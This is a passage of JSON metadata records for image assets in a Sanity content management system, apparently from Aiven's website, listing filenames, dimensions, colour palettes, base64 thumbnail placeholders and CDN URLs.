lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5bd78","foreground":"#000","population":0.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57e58","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The_Total_Economic_Impact_Of_The_Aiven_Platform_meta_preview_image_1200x630 (1).jpg","path":"images/sczeoy4w/production/6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b-2500x1313.jpg","sha1hash":"6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b","size":206922,"uploadId":"szMvGyGP6JJmntciFvIi1EO2Vh5yC61d","url":"https://cdn.sanity.io/images/sczeoy4w/production/6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b-2500x1313.jpg"} {"_createdAt":"2022-11-16T20:42:09Z","_id":"image-60897ac9e27e3021cd35bba539301398e7137fde-1275x1021-jpg","_rev":"PJutSls1mvFq6xuKvrirmz","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T20:42:09Z","assetId":"60897ac9e27e3021cd35bba539301398e7137fde","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VHRC[8_4j^IU.801t8M|M{t6.A8_M{-;RP%iITV[x]ad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.248775710088149,"height":1021,"width":1275},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYFBwj/xAAhEAABBAICAwEBAAAAAAAAAAABAgMEBQAREiEGIjFBgf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECEzFRA//aAAwDAQACEQMRAD8A0EzSVzcla11cdsJV6KCBvFzzfyuqpbWDVyqoTDJHJO9aT3rvLDkJHoB+nI+z8drLOU3JmxW3Xm08UqUOwMqrt6ZMxK2hKZtKJ0uh2hjFaF8CUAKB6B+/3DH1inr2EcGobKE/dBOGOX06GKOH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362e27","foreground":"#fff","population":4.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d54ad","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#362e27","foreground":"#fff","population":4.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac2c7","foreground":"#000","population":2.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#50a094","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e69b9","foreground":"#fff","population":3.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"pasted-image.jpg","path":"images/sczeoy4w/production/60897ac9e27e3021cd35bba539301398e7137fde-1275x1021.jpg","sha1hash":"60897ac9e27e3021cd35bba539301398e7137fde","size":795028,"uploadId":"QLoqOUuQChiCZ0rmAl8bGTWPK3srbk5O","url":"https://cdn.sanity.io/images/sczeoy4w/production/60897ac9e27e3021cd35bba539301398e7137fde-1275x1021.jpg"} {"_createdAt":"2024-03-12T15:51:34Z","_id":"image-608dd96363e5cf2fbd3ede3214e45b33ab1f0f5d-510x510-png","_rev":"3FGtLQfVRJNnLVm3parSdT","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T15:51:34Z","assetId":"608dd96363e5cf2fbd3ede3214e45b33ab1f0f5d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eG61$GiGHqShQ,pys.VrRkn$HqkXvef,ngaeRknht7RjVXbbaJoeo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":510,"width":510},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFS0lEQVQ4jWXUa2yTVRgH8AMSsuc8b7cBsiyKDkF0YFQgxqioGFEhunmLURNNNOGDirKOAWNzjN0YnVsvlHW9rV1v72vXdVvHNgbdrR1sbOsubEUTbzEaE9Co8ZaJwew85mVAUD+cnG+/PP/n/HMY1nYw9bCKIEurjy7S1PemSpb+h9Aa24/2oTZ0Dp9D1+hX6El8IXknE+ifDqA8866kJO9FJckxMMMkeZZJH59nGPyEMV7bwZYbOxnqO5dwQ/cdYOp5C8xRmVv6z6Mt/iM6Ts9h48hf6B67hJ7EH5Jv6iIGzk2gPGuTlORLqCQzUUkuxvCXV1CGph6GNW1LeG0kG/WdxRrTifHUY9HfpfpeAZZ+AmuM0HGasHGE0D1G6JkgyTc1j4GZn1CZ7ZOU5DuoJG9DJblInZTxqiBDXXg16FqL0vTHz6+19V7e7B2iu91xkWkfFOm2QYG2uOCO0wIbRwS6xwR6JoTkmyIMzPyJyuywpCR3opJciU0JxnilosHDzW+mVIdGV+gjl7f4YvRaR0K80J4QT4bGxAPKWXG7+4xItQ/9D8UFdA7l2W5JSW5HJbmU8XL/Zl6peKAq+GtaTZg2OaMiNzQitjeP0PaWUZHTlqBtrQnK9o9QuuM6Sv9Gz11AeVYnKbNZDA553+dl/mleIc/zqqC41RgRWzwD9LA3JrKdfbTeNUhbm8/SjvZJuidwVkXpPyihb+oyBs71YWDmOQYlbh+Uei7yMh+lVMgi/UhIbLSfFI/5BinL0kMaQxetsvbSk6FRejYySWs9w4S2uPpQN8Yn9E19jv7pg4wXO4d5iet3XuohKPMJXimLtUc76AlvP61r6CGsjRDXd9I6Zz/ltk/Qo6ExWmGPEbfGxA0ooSdxUfJO+hgcsM1CsWOOl7iIl3oEL/OJLH0rPe6O0gbrCVpWFyH+UYSWm7ppi3yGno9M0Fr3EHHLAHFb/Bqqxv8Zm8Y7GexvmIZC2xwvchCUuISKZtWG6GlvL+UoMbrffpLSr6J32XvpxfZxerx5lDLtg4QNA+LqpGpPf0LXaDuDvcd6YZ/lFyi0Ei92CHXSW6oVkePrJe2JBL0YjNMqYweBrpVuNnbSg94Y7WgZpQflYZHVGBdpCz1Vd/odOoetDPYcPQoF5m9gn4V4oU1AkUOkH2oSm8xtlOvvo62uU7TaFCGNLkxY00YZpi7a6B4QuW3j4pnwuFjtigtpYdIZtA99wCDf+CrsMcWhwPy3ikKhVfBiJ6loRlWAMo8EKUMXIk11M0F1SEXFBkdUvNU1SW90TYnspjhp6vvmuKW/Ba2xRxhoDXeA1lAD+aYLUGAm2GcRKgpFDkr5cGGnWO4nrFQIqoICj7TQmvpuygkNi5zwWXGnc2BeYz71GTdH8zUNAysY5OmXQp5+G2gNbZBv/O0aqsa/ulMBpR5xpVIVslDLn1oTFrebu8R6e1SstkZ/SDf32MHUsynDPriYpRywMdhdtwzy9K+D1nAS8k2/QoFZXI9ftIBeqxRUyAKqgsSrW+bTatu/X2HslNON3U+lGLo5W1PKGGiNLGV33SLYXbcS8vSvgNbwMeSbvoYC86Wr8UmNr74+lHqIl/nmeYX8B68KfgrVLQ0putZtvDaiucVyii050sZUjEG5b+HeXZcGefpHQGssgj2mdig4NgP7LN9Coe0iFDsu8BLX17zUk+BlfplXKrv44eb7JF2Ya3Rhxqpb2TLD8QXwCqY1MHj5PXWnN4HWkAH5pkehwLwL9tYbYX+DFw7Ym3ixUwcH3W/DIe9mXu5P5xXyIrZTxzT641d+fl4bYf8ASY45GW2gkzwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b7b9c","foreground":"#fff","population":21.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b7b9c","foreground":"#fff","population":21.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#167082","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#70d2e6","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60a0b3","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c9bc7","foreground":"#fff","population":17.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven_for_MySQL.png","path":"images/sczeoy4w/production/608dd96363e5cf2fbd3ede3214e45b33ab1f0f5d-510x510.png","sha1hash":"608dd96363e5cf2fbd3ede3214e45b33ab1f0f5d","size":32567,"uploadId":"zpU4Ntc3gv69H0fRfrPPeNAnnUagnM6H","url":"https://cdn.sanity.io/images/sczeoy4w/production/608dd96363e5cf2fbd3ede3214e45b33ab1f0f5d-510x510.png"} {"_createdAt":"2023-11-18T22:14:01Z","_id":"image-609469732004653d4c8b9f6d400a38b0457cecc3-2560x1440-svg","_rev":"Arp4NzaYseKQ5hw9dUg5No","_type":"sanity.imageAsset","_updatedAt":"2023-11-18T22:14:01Z","assetId":"609469732004653d4c8b9f6d400a38b0457cecc3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5R{=N-=Is-=Is~qj[t4a#xqxXs-ods-bG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1440,"width":2560},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECAwj/xAAcEAADAQACAwAAAAAAAAAAAAAAAQIRBBIxM1H/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQP/xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAMAwEAAhEDEQA/ANOS9Sf0Y4S7WC8o2FB3MvK3QK+R7WApJia//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c4c8c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a427a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dcecfc","foreground":"#000","population":0.01,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4f4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcecfc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#0c4c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147fea","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"advent calendar.svg","path":"images/sczeoy4w/production/609469732004653d4c8b9f6d400a38b0457cecc3-2560x1440.svg","sha1hash":"609469732004653d4c8b9f6d400a38b0457cecc3","size":12358,"uploadId":"g6ujaHHpPlHMb1BGjcEddVorCqAqp6Jd","url":"https://cdn.sanity.io/images/sczeoy4w/production/609469732004653d4c8b9f6d400a38b0457cecc3-2560x1440.svg"} {"_createdAt":"2022-09-01T13:49:04Z","_id":"image-60ab9f5bce9161efcc85543fc3553b4a19d4272a-184x50-svg","_rev":"xg85uGn4EJK0In0bVh6q8T","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T13:49:04Z","assetId":"60ab9f5bce9161efcc85543fc3553b4a19d4272a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D_G~W{}V-8azNcWWWWa|oKj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.68,"height":50,"width":184},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABAElEQVQYlY3PwUqUARTF8d9YGuNQNhkqpY6bQpC2DYibSkHcmCANhC4GiqCFLsL76caHEMRta3FlD9EjSLjVhZu27r4r3/g9gBcOl3vg/LlHWfiRhbUstHOPDJ0y9LLQvfhmBK1HDbOYxgs8RRNPao1jBm/wtgJ8z7CRYS7DswzvyrCV+94fLg6Ccw0+4hO6mMcExvC69nvYRr8C7mQ4yNDPsJnhZ1nd+5aOV4zWwA9Ydb8XamAbndr/gnV8roAnZfiT4SzD7wznZTjNwtf/u4NQ8/GQqbrWKzyvK1dq1fDKfzmoX4a/Ga6zcFWGyyzcZPg3+LIwefuLo2WN1rAHzR1q5lIEfp5FPwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c341c","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#892804","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7505","foreground":"#fff","population":11.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964502","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb67c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c744d","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7505","foreground":"#fff","population":11.34,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-h-cli-api.svg","path":"images/sczeoy4w/production/60ab9f5bce9161efcc85543fc3553b4a19d4272a-184x50.svg","sha1hash":"60ab9f5bce9161efcc85543fc3553b4a19d4272a","size":2498,"uploadId":"uCUY3bWIkb0DKFcrImWkKhdKfHOZWtsz","url":"https://cdn.sanity.io/images/sczeoy4w/production/60ab9f5bce9161efcc85543fc3553b4a19d4272a-184x50.svg"} {"_createdAt":"2024-04-18T08:36:51Z","_id":"image-60c7f0154331bb14bc90d027dccc1a404a692e61-1200x630-jpg","_rev":"K1w697WALr3R6LR2gnOdir","_type":"sanity.imageAsset","_updatedAt":"2024-04-18T08:36:51Z","assetId":"60c7f0154331bb14bc90d027dccc1a404a692e61","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M45?c5yZRQt.IUD4SRks%ht89is=x^WBtS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwUH/8QAHhAAAgICAwEBAAAAAAAAAAAAAQIAAwQRBSExImH/xAAVAQEBAAAAAAAAAAAAAAAAAAAABv/EABoRAAIDAQEAAAAAAAAAAAAAAAABAxETIUH/2gAMAwEAAhEDEQA/AOY5fHZ+bjVMUZ3PlhbvUjTwpSh0vLLaegSfJq4zMAACdalI2930SZSYWTSnrwVMzAvqvKWOdj9hGrIoqazbICSIRgg53fD/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#325474","foreground":"#fff","population":4.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a4c80","foreground":"#fff","population":4.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5e9e","foreground":"#fff","population":6.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314b67","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b5c8dc","foreground":"#000","population":4.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6186a6","foreground":"#fff","population":2.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5e9e","foreground":"#fff","population":6.18,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"og-idc-infobrief.jpg","path":"images/sczeoy4w/production/60c7f0154331bb14bc90d027dccc1a404a692e61-1200x630.jpg","sha1hash":"60c7f0154331bb14bc90d027dccc1a404a692e61","size":224852,"uploadId":"4eC7kKobTttFYIDAsUdmboXQDkoJPceN","url":"https://cdn.sanity.io/images/sczeoy4w/production/60c7f0154331bb14bc90d027dccc1a404a692e61-1200x630.jpg"} {"_createdAt":"2022-06-17T08:37:18Z","_id":"image-60dd2e8852f1e39cc192a4b20a0d59578ccb1d38-596x454-jpg","_rev":"qkpX9b3U0TpOGFQp9CidB2","_type":"sanity.imageAsset","_updatedAt":"2022-06-27T13:29:53Z","altText":"Paf","assetId":"60dd2e8852f1e39cc192a4b20a0d59578ccb1d38","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V571s8.700D%t7o#oft7ofWB00IU~q%MWB%gofIURjxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3127753303964758,"height":454,"width":596},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAgQH/8QAIRAAAQQCAQUBAAAAAAAAAAAAAwABAgQFESEGEhQxMoH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/EABcRAQEBAQAAAAAAAAAAAAAAAAEAAhP/2gAMAwEAAhEDEQA/AOR0qBbhWHUBIxdb7Y+0uylDKDYsvFMIY9vJ3jrWlkx3UNmoWJgTkIsfTxVcvnsjlHI9m6WUSfUd6Z/xDZSkjJYO8uCyQokHn7QnSGS//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c3b","foreground":"#fff","population":10.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040b14","foreground":"#fff","population":6.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343c3b","foreground":"#fff","population":10.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90b7e8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717374","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a74d4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Company_Logos_Paf.jpg","path":"images/sczeoy4w/production/60dd2e8852f1e39cc192a4b20a0d59578ccb1d38-596x454.jpg","sha1hash":"60dd2e8852f1e39cc192a4b20a0d59578ccb1d38","size":92044,"title":null,"uploadId":"3Wq1u85OhwcV2gfnM1BSk0FFhAYvYjeD","url":"https://cdn.sanity.io/images/sczeoy4w/production/60dd2e8852f1e39cc192a4b20a0d59578ccb1d38-596x454.jpg"} {"_createdAt":"2023-01-11T06:05:39Z","_id":"image-60e7c9d02437c8e4b5a107cded63cfa95bfc09fe-1567x844-jpg","_rev":"Z39vf97kTT8utJKfKX3h7p","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T06:05:39Z","assetId":"60e7c9d02437c8e4b5a107cded63cfa95bfc09fe","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEPj49ys?cixTI^-9[MbxClB-oIA9a%g$$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQADB//EACAQAAICAgICAwAAAAAAAAAAAAEDAgQAEQUhEzEGEmH/xAAVAQEBAAAAAAAAAAAAAAAAAAADAv/EABwRAAICAgMAAAAAAAAAAAAAAAEDAAIRQRIhQv/aAAwDAQACEQMRAD8A786lJe2G66I3v8GEP+S1n2GcVXsyFwnxhuuhLWNXCY1WkE7B6w7hONpuU9zaypOi37ieuwde8Fr6hlUn1mIuhALBqIcNYiKMVvs+d6iYMnr3IZZlxmoKaIgAFkj6yxx0MSLHkTY7n//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#131723","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#102954","foreground":"#fff","population":0.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a217","foreground":"#000","population":2.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9caccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c84","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a217","foreground":"#000","population":2.59,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Elwood_in_the_multicloud_blog.jpg","path":"images/sczeoy4w/production/60e7c9d02437c8e4b5a107cded63cfa95bfc09fe-1567x844.jpg","sha1hash":"60e7c9d02437c8e4b5a107cded63cfa95bfc09fe","size":383704,"uploadId":"KzQ6HP7kecdmmRm51bGRNWHcANFI2fH5","url":"https://cdn.sanity.io/images/sczeoy4w/production/60e7c9d02437c8e4b5a107cded63cfa95bfc09fe-1567x844.jpg"} {"_createdAt":"2023-12-19T14:43:55Z","_id":"image-6101b187cc2814520e59dddc7c52cdc6f7132502-1200x630-jpg","_rev":"Do3156plRwIXmiihO2PdFF","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T14:43:55Z","assetId":"6101b187cc2814520e59dddc7c52cdc6f7132502","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJOzZ1tmtSIV^*SiIq=;JYbw~WR:S5$x9a","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAIEBQYH/8QAIxAAAgEEAQMFAAAAAAAAAAAAAQIDAAQFIREGElETFDEyQf/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwT/xAAcEQEAAgIDAQAAAAAAAAAAAAABAAIDERMUQSH/2gAMAwEAAhEDEQA/ANnvLrKLfSJCs3p92iBqmXUWTu8J7OWWQGSYnud1JVdfXXmrbAOLlzv480SxpNclZUV1G+GHNaLZjFYU2PyJxOQSrpInF5Iz4+CWRex3QMVP5RUVdOwnYA8AUVTq18YOV9J//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40444e","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d5d8e","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#40444e","foreground":"#fff","population":0.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cac2d2","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4d7fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5886b0","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d91dd","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven-Free-PostgreSQL-database.jpg","path":"images/sczeoy4w/production/6101b187cc2814520e59dddc7c52cdc6f7132502-1200x630.jpg","sha1hash":"6101b187cc2814520e59dddc7c52cdc6f7132502","size":180822,"uploadId":"CiKvLL32Jbx0EfNXjbB6A0dtf9Pjbwxj","url":"https://cdn.sanity.io/images/sczeoy4w/production/6101b187cc2814520e59dddc7c52cdc6f7132502-1200x630.jpg"} {"_createdAt":"2023-06-23T13:45:45Z","_id":"image-61317ae978acd8d84f3b00230d02a0dd1d436309-2500x1308-png","_rev":"KtWw3EPsvVF1DpRqAaGwGP","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T13:45:45Z","assetId":"61317ae978acd8d84f3b00230d02a0dd1d436309","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96+9u?bITRkRj_NxvIUayWBM{M{jZtRof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB30lEQVQokVWQW28SQRhAd2cv2Ci2UkJafPCSNOjODMViWbe1u20pWmjRGH0oUaBVdnZmCy7E1hBFmxgTkYutgMafa2Y10CYn8/Al5zv5RpAxvbr8Nmw0IkYjrHvXUt5sqh7WvYhRn187ippHEaMR0r25tXdR6ziYrAHoCBr5z+V71Ts7n81iN/Pm1Cx2ki++rhTaVqm7ud/f8DGLnQd738xixyi0o9axgqg4loPJ6uKzL1ln8Lz+J0eHD191Ng/6u2z0tPZ7l4122DDvjnJ0YJV7Wv5kRvcAOl9eOoT5k0eVsyeHv7LOYGO/b5W6j+2fOTpMH/RXC21jr20U2rHcp+llT0LOJKsRYSrhxnKt9XJv6/WPTOUsUzm1Sl2r3Ft9+T2WbUWMeijlhXTvylJVRhRoRNKIBAnwERRMwyuNG+nm7cyHhe3WwvbHW1vNm+nm9fX3wftVCfLUGFkjKiQKtDnIFvgIOQqiKmaX4iyAmYqpiqmCKYCOOIEAjSgaUTVbhraMOALQ7AAiU3Eu887dSYdfBamImIioiPguGToKLxPlnxyAdjhB5vXajO6pi+zCf0CHO5gB7vMXICYhJiMqY0fBRFChPZuw5/TqdMpT4mxi+gDoSL4vYnfs+7tcgN2/nMiX0QwkU8YAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c645c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acc8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2bcd9","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af4d59","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c5cb4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image_recognition_pgvector_social_media.png","path":"images/sczeoy4w/production/61317ae978acd8d84f3b00230d02a0dd1d436309-2500x1308.png","sha1hash":"61317ae978acd8d84f3b00230d02a0dd1d436309","size":39370,"uplo